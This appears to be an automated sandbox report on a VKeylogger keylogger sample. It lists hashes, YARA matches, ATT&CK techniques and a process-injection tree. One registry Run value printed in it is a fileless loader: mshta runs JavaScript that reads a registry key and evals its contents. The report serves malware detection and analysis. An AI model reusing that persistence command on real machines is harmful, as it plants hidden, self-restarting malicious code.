vkeylogger | ebbf3b5a2fea9d1313ec35ce127db7dd86a7b6c55c241fcf3d7e2f7b167a7100

General

Target

9394c417afa9c6615a4aa929b062f420.exe
Size

210KB
MD5

9394c417afa9c6615a4aa929b062f420
SHA1

b63ec408e1d573ad34b0acca7821db58b9c9135d
SHA256

ebbf3b5a2fea9d1313ec35ce127db7dd86a7b6c55c241fcf3d7e2f7b167a7100
SHA512

9129389dcda5b669e8e3e13424d2fe9fa851b4daa1dfb68e5da1e57591d88ff52e9c534716bc337ef9b838d73faa71af3763ff11e000788ec21effe7b883b76b

Score

10^/10

vkeylogger keylogger persistence stealer

Malware Config

Signatures

VKeylogger
A keylogger first seen in Nov 2020.
stealer keylogger vkeylogger

VKeylogger Payload 5 IoCs

resource	yara_rule
behavioral2/memory/1708-131-0x0000000000780000-0x00000000007B7000-memory.dmp	family_vkeylogger
behavioral2/memory/2384-134-0x0000000000400000-0x000000000040F000-memory.dmp	family_vkeylogger
behavioral2/memory/2384-136-0x0000000000400000-0x000000000040F000-memory.dmp	family_vkeylogger
behavioral2/memory/2132-135-0x0000000000780000-0x00000000007B7000-memory.dmp	family_vkeylogger
behavioral2/memory/2012-138-0x00000000010F0000-0x00000000010FF000-memory.dmp	family_vkeylogger

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9394c417afa9c6615a4aa929b062f420.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);"	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2132 set thread context of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2384 set thread context of 2012	2384	9394c417afa9c6615a4aa929b062f420.exe	83

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe
2132	9394c417afa9c6615a4aa929b062f420.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2384	9394c417afa9c6615a4aa929b062f420.exe
2012	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2012	explorer.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 2132	1708	9394c417afa9c6615a4aa929b062f420.exe	79
PID 1708 wrote to memory of 2132	1708	9394c417afa9c6615a4aa929b062f420.exe	79
PID 1708 wrote to memory of 2132	1708	9394c417afa9c6615a4aa929b062f420.exe	79
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2132 wrote to memory of 2384	2132	9394c417afa9c6615a4aa929b062f420.exe	80
PID 2384 wrote to memory of 2012	2384	9394c417afa9c6615a4aa929b062f420.exe	83
PID 2384 wrote to memory of 2012	2384	9394c417afa9c6615a4aa929b062f420.exe	83
PID 2384 wrote to memory of 2012	2384	9394c417afa9c6615a4aa929b062f420.exe	83

C:\Users\Admin\AppData\Local\Temp\9394c417afa9c6615a4aa929b062f420.exe
"C:\Users\Admin\AppData\Local\Temp\9394c417afa9c6615a4aa929b062f420.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Users\Admin\AppData\Local\Temp\9394c417afa9c6615a4aa929b062f420.exe
  "C:\Users\Admin\AppData\Local\Temp\9394c417afa9c6615a4aa929b062f420.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Users\Admin\AppData\Local\Temp\9394c417afa9c6615a4aa929b062f420.exe
    "C:\Users\Admin\AppData\Local\Temp\9394c417afa9c6615a4aa929b062f420.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\SysWOW64\explorer.exe"
      4⤵
      Adds Run key to start application
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      PID:2012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1708-130-0x0000000077210000-0x00000000773B3000-memory.dmp

Filesize
1.6MB

Download
memory/1708-131-0x0000000000780000-0x00000000007B7000-memory.dmp

Filesize
220KB

Download
memory/1708-133-0x0000000077210000-0x00000000773B3000-memory.dmp

Filesize
1.6MB

Download
memory/2012-138-0x00000000010F0000-0x00000000010FF000-memory.dmp

Filesize
60KB

Download
memory/2132-132-0x0000000077210000-0x00000000773B3000-memory.dmp

Filesize
1.6MB

Download
memory/2132-135-0x0000000000780000-0x00000000007B7000-memory.dmp

Filesize
220KB

Download
memory/2132-137-0x0000000077210000-0x00000000773B3000-memory.dmp

Filesize
1.6MB

Download
memory/2384-134-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/2384-136-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download

Analysis

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